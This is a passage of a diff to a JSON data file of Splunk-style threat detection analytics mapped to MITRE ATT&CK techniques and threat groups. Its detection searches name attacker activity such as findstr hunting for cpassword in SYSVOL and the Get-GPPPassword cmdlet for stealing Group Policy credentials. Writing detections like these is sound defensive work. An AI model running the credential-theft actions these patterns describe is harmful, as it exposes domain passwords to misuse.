Processes.process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | eval process_name_length = len(process_name), endExe = if(substr(process_name, -4) == \".exe\", 1, 0) | search process_name_length=5 AND endExe=1 | table count, firstTime, lastTime, dest, user, process, process_name | `single_letter_process_on_endpoint_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious process $process_name$ with single letter in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows ISO LNK File Creation", - "description": "The following analytic detects the creation of .iso.lnk files in the %USER%\\AppData\\Local\\Temp\\\\ path, indicating that an ISO file has been mounted and accessed. This detection leverages the Endpoint.Filesystem data model, specifically monitoring file creation events in the Windows Recent folder. This activity is significant as it may indicate the delivery and execution of potentially malicious payloads via ISO files. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\Microsoft\\\\Windows\\\\Recent\\\\*\") Filesystem.file_name IN (\"*.iso.lnk\", \"*.img.lnk\", \"*.vhd.lnk\", \"*vhdx.lnk\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iso_lnk_file_creation_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "Azorult", - "Brute Ratel C4", - "IcedID", - "Qakbot", - "Remcos", - "Spearphishing Attachments", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An ISO file was mounted on $dest$ and should be reviewed and filtered as needed.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1204.001", - "mitre_attack_technique": "Malicious Link", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Windows Suspect Process With Authentication Traffic", - "description": "The following analytic detects executables running from public or temporary locations that are communicating over Windows domain authentication ports/protocols such as LDAP (389), LDAPS (636), and Kerberos (88). It leverages network traffic data to identify processes originating from user-controlled directories. This activity is significant because legitimate applications rarely run from these locations and attempt domain authentication, making it a potential indicator of compromise. If confirmed malicious, attackers could leverage this to access domain resources, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.process_id) as process_id from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port IN (\"88\",\"389\",\"636\") AND All_Traffic.app IN (\"*\\\\users\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") by All_Traffic.app,All_Traffic.src,All_Traffic.src_ip,All_Traffic.user,All_Traffic.dest,All_Traffic.dest_ip,All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rex field=app \".*\\\\\\(?.*)$\" | rename app as process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_suspect_process_with_authentication_traffic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "The process $process_name$ on $src$ has been communicating with $dest$ on $dest_port$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows User Execution Malicious URL Shortcut File", - "description": "The following analytic detects the creation of suspicious URL shortcut link files, often used by malware like CHAOS ransomware. It leverages the Endpoint.Filesystem datamodel to identify .url files created outside standard directories, such as Program Files. This activity is significant as it may indicate an attempt to execute malicious code upon system reboot. If confirmed malicious, this could allow an attacker to achieve persistence and execute harmful payloads, potentially leading to further system compromise and data loss.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where NOT(Filesystem.file_path IN (\"*\\\\Program Files*\")) Filesystem.file_name = *.url by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path Filesystem.process_guid Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_user_execution_malicious_url_shortcut_file_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "NjRAT", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process created URL shortcut file in $file_path$ of $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.002", - "mitre_attack_technique": "Malicious File", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "Ajax Security Team", - "Andariel", - "Aoqin Dragon", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "CURIUM", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "IndigoZebra", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "PROMETHIUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Whitefly", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -475518,46 +328670,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1552.006", - "x_mitre_is_subtechnique": true, - "technique": "Group Policy Preferences", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -475566,126 +328679,43 @@ ] }, { - "name": "Windows Findstr GPP Discovery", - "description": "The following analytic detects the use of the findstr command to search for unsecured credentials in Group Policy Preferences (GPP). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving findstr.exe with references to SYSVOL and cpassword. This activity is significant because it indicates an attempt to locate and potentially decrypt embedded credentials in GPP, which could lead to unauthorized access. If confirmed malicious, this could allow an attacker to escalate privileges or gain access to sensitive systems and data within the domain.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=findstr.exe AND Processes.process=*sysvol* AND Processes.process=*cpassword*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_findstr_gpp_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Findstr was executed to discover GPP credentials on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1552.006", - "mitre_attack_technique": "Group Policy Preferences", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PowerSploit GPP Discovery", - "description": "The following analytic detects the execution of the Get-GPPPassword PowerShell cmdlet, which is used to search for unsecured credentials in Group Policy Preferences (GPP). This detection leverages PowerShell Script Block Logging to identify specific script block text associated with this cmdlet. Monitoring this activity is crucial as it can indicate an attempt to retrieve and decrypt stored credentials from SYSVOL, potentially leading to unauthorized access. If confirmed malicious, this activity could allow an attacker to escalate privileges or move laterally within the network by exploiting exposed credentials.", - "search": " `powershell` EventCode=4104 (ScriptBlockText=Get-GPPPassword OR ScriptBlockText=Get-CachedGPPPassword) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powersploit_gpp_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Commandlets leveraged to discover GPP credentials were executed on $Computer$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1552.006", - "mitre_attack_technique": "Group Policy Preferences", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "Wizard Spider" - ] - } - ] - } + "technique_id": "T1552.006", + "x_mitre_is_subtechnique": true, + "technique": "Group Policy Preferences", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -478596,110 +331626,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Okta IDP Lifecycle Modifications", - "description": "The following analytic identifies modifications to Okta Identity Provider (IDP) lifecycle events, including creation, activation, deactivation, and deletion of IDP configurations. It uses OktaIm2 logs ingested via the Splunk Add-on for Okta Identity Cloud. Monitoring these events is crucial for maintaining the integrity and security of authentication mechanisms. Unauthorized or anomalous changes could indicate potential security breaches or misconfigurations. If confirmed malicious, attackers could manipulate authentication processes, potentially gaining unauthorized access or disrupting identity management systems.", - "search": "`okta` eventType IN (\"system.idp.lifecycle.activate\",\"system.idp.lifecycle.create\",\"system.idp.lifecycle.delete\",\"system.idp.lifecycle.deactivate\") | stats count min(_time) as firstTime max(_time) as lastTime values(target{}.id) as target_id values(target{}.type) as target_modified by src dest src_user_id user user_agent command description | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_idp_lifecycle_modifications_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] is attempting IDP lifecycle modification - [$description$] from IP Address - [$src$]\"", - "risk_score": 81, - "security_domain": "identity", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.004", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Okta Unauthorized Access to Application", - "description": "The following analytic identifies attempts by users to access Okta applications that have not been assigned to them. It leverages Okta Identity Management logs, specifically focusing on failed access attempts to unassigned applications. This activity is significant for a SOC as it may indicate potential unauthorized access attempts, which could lead to exposure of sensitive information or disruption of services. If confirmed malicious, such activity could result in data breaches, non-compliance with data protection laws, and overall compromise of the IT environment.", - "search": "| tstats values(Authentication.app) as app values(Authentication.action) as action values(Authentication.user) as user values(Authentication.reason) as reason from datamodel=Authentication where Authentication.signature=app.generic.unauth_app_access_attempt Authentication.action=\"failure\" by _time Authentication.src Authentication.user | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | iplocation src | `okta_unauthorized_access_to_application_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] is attempting to access an unauthorized application from IP Address - [$src$]", - "risk_score": 81, - "security_domain": "identity", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.004", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } } ], "external_reference": [ @@ -479292,86 +332218,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "Windows Process Commandline Discovery", - "description": "The following analytic detects the use of Windows Management Instrumentation Command-line (WMIC) to retrieve information about running processes, specifically targeting the command lines used to launch those processes. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on logs containing process details and command-line executions. This activity is significant as it may indicate suspicious behavior, such as a user or process gathering detailed process information, which is uncommon for non-technical users. If confirmed malicious, this could allow an attacker to gain insights into running processes, aiding in further exploitation or lateral movement.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` Processes.process= \"* process *\" Processes.process= \"* get commandline *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_commandline_discovery_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to process commandline discovery detected on $dest$ using wmic.exe.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1057", - "mitre_attack_technique": "Process Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT37", - "APT38", - "APT5", - "Andariel", - "Chimera", - "Darkhotel", - "Deep Panda", - "Earth Lusca", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Rocke", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windshift", - "Winnti Group" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -480846,220 +333693,6 @@ "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes", "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture" ] - }, - { - "name": "Detect WMI Event Subscription Persistence", - "description": "The following analytic identifies the creation of WMI Event Subscriptions, which can be used to establish persistence or perform privilege escalation. It detects EventID 19 (EventFilter creation), EventID 20 (EventConsumer creation), and EventID 21 (FilterToConsumerBinding creation) from Sysmon logs. This activity is significant because WMI Event Subscriptions can execute code with elevated SYSTEM privileges, making it a powerful persistence mechanism. If confirmed malicious, an attacker could maintain long-term access, escalate privileges, and execute arbitrary code, posing a severe threat to the environment.", - "search": "`sysmon` EventID=20 | stats count min(_time) as firstTime max(_time) as lastTime by Computer User Destination | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_wmi_event_subscription_persistence_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible malicious WMI Subscription created on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.003", - "mitre_attack_technique": "Windows Management Instrumentation Event Subscription", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT33", - "Blue Mockingbird", - "FIN8", - "HEXANE", - "Leviathan", - "Metador", - "Mustang Panda", - "Rancor", - "Turla" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows MOF Event Triggered Execution via WMI", - "description": "The following analytic detects the execution of MOFComp.exe loading a MOF file, often triggered by cmd.exe or powershell.exe, or from unusual paths like User Profile directories. It leverages Endpoint Detection and Response (EDR) data, focusing on process names, parent processes, and command-line executions. This activity is significant as it may indicate an attacker using WMI for persistence or lateral movement. If confirmed malicious, it could allow the attacker to execute arbitrary code, maintain persistence, or escalate privileges within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name IN (\"cmd.exe\", \"powershell.exe\") Processes.process_name=mofcomp.exe) OR (Processes.process_name=mofcomp.exe Processes.process IN (\"*\\\\AppData\\\\Local\\\\*\",\"*\\\\Users\\\\Public\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mof_event_triggered_execution_via_wmi_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ loading a MOF file.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.003", - "mitre_attack_technique": "Windows Management Instrumentation Event Subscription", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT33", - "Blue Mockingbird", - "FIN8", - "HEXANE", - "Leviathan", - "Metador", - "Mustang Panda", - "Rancor", - "Turla" - ] - } - ] - } - }, - { - "name": "WMI Permanent Event Subscription - Sysmon", - "description": "The following analytic identifies the creation of WMI permanent event subscriptions, which can be used to establish persistence or perform privilege escalation. It leverages Sysmon data, specifically EventCodes 19, 20, and 21, to detect the creation of WMI EventFilters, EventConsumers, and FilterToConsumerBindings. This activity is significant as it may indicate an attacker setting up mechanisms to execute code with elevated SYSTEM privileges when specific events occur. If confirmed malicious, this could allow the attacker to maintain persistence, escalate privileges, and execute arbitrary code, posing a severe threat to the environment.", - "search": "`sysmon` EventCode=21 | rename host as dest | table _time, dest, user, Operation, EventType, Query, Consumer, Filter | `wmi_permanent_event_subscription___sysmon_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 